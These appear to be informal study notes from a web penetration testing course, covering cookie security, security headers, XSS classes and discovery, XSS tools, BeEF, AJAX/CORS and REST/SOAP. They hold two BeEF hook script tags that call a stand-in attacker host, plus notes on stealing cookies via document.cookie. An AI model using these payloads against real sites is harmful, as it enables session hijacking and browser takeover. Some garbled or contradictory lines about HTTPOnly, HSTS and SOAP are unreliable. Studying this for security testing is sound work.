

Day 4: Part 1: Protecting Cookies

1> cookie = session information + user creds.

cookie stolen = user impersonation can happen.
Mitigation (no HTTP only HTTPS)

→ HTTPOnly (no HTTP only HTTPS)

Cookie security
→ HTTPOnly (no HTTP only JS)
→ same site (exchange only on same site)
↳ secure (only HTTP, no f-end JS, etc.)

→ Take prints for cookie security

Same-site → None
↳ Lax: xsite sometimes (regular links ✓, not XSS, CSRF links)
↳ strict: xsite No

② HTTP Security Headers:
Example = options: prevent framing / clickjacking.
e.g. HSTS

• x-Frame-options : prevent all exchange in HTTPS

- X-Frame-Options
- HSTS : ensures all exchange is HTTPS
- CSP : tells from where active content can load
 - Deny (prevent)

- o HSTS: ensures all exchange is **SSL**
- o CCP: tells from where active content can load (forever)

- CSP : tells form where → deny (prevent)

- CSP: tells form what to do
 - X-Frame-Options → Deny (prevent)
→ same origin (only from same og)

X-Frame-Options → same origin rule
HSTS: always HTTPS, Max-Age, after 1st visit

CSP: prevent XSS.

- prevent XSS.
- specify server origins and endpoints that can load content.

Day 4: Part 2: DOM:

- DOM: • programming interface for HTML/XML docx.
◦ platform + lang neutral.
• Allows JS to change contents / style / structure.
◦ OOP representation of a web page.
◦ W3C + WHATWG DOM is used by most browsers

DOMtree: I know

Firefox: Options → Web Dev Tools

Chrome: Options → More Tools → Dev Tools

BRW Dev Tools:
↳ Allows DOM inspect
→ click on elements
↳ See delete, → live mode.
↳ JS Debugger

JS + DOM Manipulation

- ↳ DOM is good, but rich web app = need manipulation
- ↳ JS = OOP language based on ECMA script.
- ↳ JS = simple programming language.
- ↳ power = API exposed by browser
- ↳ API = traverse, read, manip DOM elements.
- ⑥ JavaScript: → Objects → properties / attributes
↳ Method (functions for obj)

JS Objects : → String = newString ("hello")
→ Date = new Date();
→ Array = courses = ['A', 'B'];
→ document.forms (.length) ([0, 1])

JS BROWS Obj: → document.forms.submit
" " . action.

JS Web Page Interaction : → Read properties, attributes
→ document.cookie (if not HTTPOnly)

Day 4: Part 3: XSS Primer:

- Reflected (2) } Traditional , Server sends script & pretends to
- Persistent (1) }
- DOM (0) } Non-traditional. Request x to server
- Most prevalent flaw in the Internet
- More diff to prevent than SQLi, LFI/RFI, RCE

② HTML injection : Flaw where attacker can inject HTML code (HTML tags that are exclusively HTML)

- Attacker controlled HTML as server response.
- Lack of Sanitize , browser also is the victim.
- XSS = HTML injection + JS
- usually in Form Input fields.

1) Script Injection (1) :

XSS = HTML Inj + JS Injection.

originServer = SOP (Same Origin Policy)
SOP = safeguards inter-site JS sharing and execution.

A^{JS} → B (X)

SOP Requirements
↳ Port : 4343
↳ Scheme : https
↳ Host : domain name.

No SOP → Not XSS ; just scripting.

② SOP Cookies < SOP DOM

③ Externally sourced XSS Script :

↳ Browser requests, we fetch
↳ Most params won't allow many lines of code,
hence external script https - (↑ lines of code)
↳ Beef Hook: <script src="http://vortex.test/hook.js"></script>

④ Present XSS as it came from origin server
itself (NOT bypassing SOP)

Day 4: Part 4: Classes of XSS

- 1) Reflected (2) Stored (3) DOM
- 4) Universal (5) Self XSS (Self victim)
([↑]Browsers, other tools, plugins victims)

Reflected XSS

- easiest to understand
- simple to discover
- ↳ Most common in examples
(NP)

- Dynamic in nature
- payload immediate deliver and execution
- Victim should submit attack payload to website for immediate reflection.

ZAP → Tools → Encode / Decode / Hash

Burp → Decoder

FIREFOX + JS :

- function → encodeURI component()
- whole URL → encodeURI()

③ STORED XSS : Input persists across all additional (persistent) interactions with the site.

Single input → millions people.
where?
→ Blog cms → Msg Fnc → Acct Profile
→ Forum data → Log mech → Support Fnc

OOB XSS injections → Web email clients
→ Security device ctrls (SIEM, IDS, etc).

Inter protocol XSS : JS comes from a diff (Non web) protocol.

o TXT record containing JS in DNS zone in 2014
o JS triggers when user looked up for "www.x2.com"
at a DNS lookup website
o JS → DNS (UDP53) → DNS website → Browser (80, 443)

④ DOM XSS:
→ Exploitation = JS execution
→ overtly impactful to client
→ difficult to convince org about importance.

- closer to reflected than stored.
- Dynamic Request + NP response + Social Eng

DOM XSS = Client XSS (Req x Server at all)
= Client side script exec → JS exec

Day 4: Part 6: DISCOVER XSS

Discovery
→ Unique strings
→ what chars filtered?
↳ PoC payloads.

Params
→ URL Params
→ POST Params
↳ Headers (UA, Cookies, Referer)

Stored XSS Discovery: Different UNIQUE strings to see which part of application is affected.

Common XSS Injections :

- HTML code
- pre exist JS
- Tag attributes

Filter Tests : Reflection != XSS.

◦ Do XSS payloads if found reflection.

◦ Filters block Known Bad not allow Known Good

Disabling Browser Blocking
→ Use Firefox
→ use old browser
↳ disable XSS filtering capabilities

XSS Payloads
→ Fuzzdb
→ JBossFuzz (ZAP)
↳ BURP
↳ ZAP
↳ XSSer

Day 4 : Part 7 : XSS Impacts

- Possible upgrades to Alert
- Session Abuse (Session Hijack, Non-interactive session abuse)

↑ SESSION HIJACK : Stealing cookies / tokens
of users

Same origin script = interact with page's DOM.

DOM Reviews -
doc.cookie (cookies)
doc.URL (Query params)
doc.Forms (hidden form + CSRF tokens).

- using location to send data to a server:
- HTTPOnly = No cookie shown.

Day 4: Part 9: XSS Tools:

BURP Intruder:

- Burp: one payload, many positions simult.
- Grep Payloads.
- Grep payloads + BRam.
- XSSSniper:
 - Python based XSS Tool
 - Gianluca Brindisi

↳ reflected XSS testing of known URLs

```
xsssniper -u "http://abc.org" --crawl --forms
```
- XSSer: written in Python.
 - CLI + GUI interface.
 - --heuristic (what filters are employed)
 - --Hex, --Dec, --Une.
 - --proxy.

XSSScrapy: → Python
→ MagicString: qzqjx
→ ' " () = < x >
... () {} [];
Javascript. prompt (99)

Reflected POST:

- GET = easy, POST = difficult.
- get 2post.py (GET → POST XSS attack).

Day 4: Part 10: BeEF

- Pentest tool that focuses on exploits against a browser.
- payloads to be executed in a browser.
∴ (Beef + XSS, as in context of browser)
 - **Controller**: manage hooked browsers
- Beef → **Client side JS file**: inject in vuln web app to exploit browser

Beef Hook:

- JS file turns browser → bot
- connect to controller every second and ask for new cmds
- once controller gives command → Hook executes it
→ sends results to controller.
- Framework API = easy to create new cmd and integrate it.
- Hook runs, till page is open. Page closed = hook stops.
- Persistence → Add ^{nt} exploits.
- Beef JS file → hook.js (automatically).
- can be used in XSS payload
`<script src="http://beef/hook.js"></script>`
- Payload exec → report to Beef controller.
- supports HTTPS as well.
- HOOK → minimized + obfuscated .

Beef controller:

- Runs as a server, in RUBY
- Many hooked zombies
- anywhere on internet. (reachable by hooked browser)
- HTTP used in Real world.
- Green → works & visible
Orange → works, maybe visible
Grey → not confirmed
Red → ✗ work.
- Results → Module Result History .

Beef Payloads :

- out of the box
- Info gather, N/w disc, social eng, tunneling
- + Metasploit
- social eng = SCARY !
- control the DOM, change cnts.
- API's → powerful extension

DAY 4: Part 12: AJAX

- Async JS + XML
- → req, ← resp without redrawing web page.
- Decouples data Interchang & presentation layers.
- responsible for BACKGROUND Requests;
i.e; saving data

② XHR : allows interaction with remote server.

- Req sent in bground.
- once request, dev function can be called
- allows WA to update DOM, without disturbing what user is doing.
- JQuery, Angular, React, replace XHR, with their own implementation.
- Fetch API powerful to replace XHR.

XHR

- 0 = Unsent , open() X called
- 1 = Opened , open() called
- 2 = Sent , send(), headers + status ✓
- 3 = Loading , downloading
- 4 = Done - complete.

readyState values

XHR methods

- open(): req init , methods defined
with credentials : cookies or not
- onreadystatechange : contains event handler, called
change : when RC changes.
- response : contains response body
" as text
- responseText : "
- status : status code of response

o XHR = any request

web sockets = full duplex commⁿ on a 1 channel.
• allows event-driven responses, no polling.
the server.

XHR \Rightarrow same rules apply. $\xrightarrow{\text{SOP}}$ send req.
 \hookrightarrow SOP can block to
read resp by XHR.

EVADING SOP:

- AJAX Proxy $\xrightarrow{\text{app level proxy}}$ Web Browser not aware of AJAX proxy (no cookies of target app sent, must be somehow handled by AJAX)

CORS: allows sharing of data among sites.
• used in XHR Ajax and Fetch API.
• ACAO, ACAC

ACAO: which origin can access content on the site.
ACAC: JS can read response if AJAX was sent with credentials.

Testing $\xrightarrow{\text{Almost all same}}$
AJAX APPS: $\xrightarrow{\text{different = mapping. (1 page web apps)}}$
 $\xrightarrow{\text{lot of content is dynamic (\because crawlers bad)}}$
 $\xrightarrow{\text{BURP + ZAP, come with something but \underline{x good}}}$
 $\xrightarrow{\text{plain old clicking is best.}}$

JS Frameworks:

- Framework = entire app design.
- offload development, so developer can use Eo.
- jquery, Angular, react, bootstrap.
- check frameworks, for known vulns.

(Retire.js)

- can also be used on server side
↳ NODE JS (slack, discord, GithubAtom)

Day 4: Part 13: Data Attacks

- lot of logic/data → client (more responsive, easy to work)
- so much data passed, sometimes (more data than needed, sensitive data can be sent).

DATA formats:

SOAP|REST → XML → then came JSON.

- open data interchange format.

- JSON = language independent
 - = from JS, but now all langs support.
- adv = less verbose, smaller, closer to JS.
- JSON = JS code
 - = eval() = evi!
 - = eval(), JSON.parse() ✓

Attacks on JSON:

- JSON on SS: cmd, SQL, File injection.
- JSON on CS: XSS if eval(), sensitive data exposure.

Day 4: Part 1H: REST + SOAP

- webservice = app that can define, described, published over Internet.
- use HTTP protocol
- REST → HTTP → R/W with stateless protocol
- SOAP → XML based → HTTP → Messaging Protocol
(+ application protocols)

Rest FUL Webservices

- API compliant with REST architectural requirements = restful API
- Msg trans in JSON (mostly) but can use ANY.
- SOAP :
 - msg protocol
 - extensible, neutral (TCP, UDP, HTTP, SMTP)
 - works with any prog model.
 - msgs transferred in XML.
 - SOAP VI works only on Windows OS.
 - can import collections; WSDL, Swagger etc.
- Testing is same:
 - Request send through proxy, then test.
 - even work for NATIVE (mobile apps)
 - check logic flaws.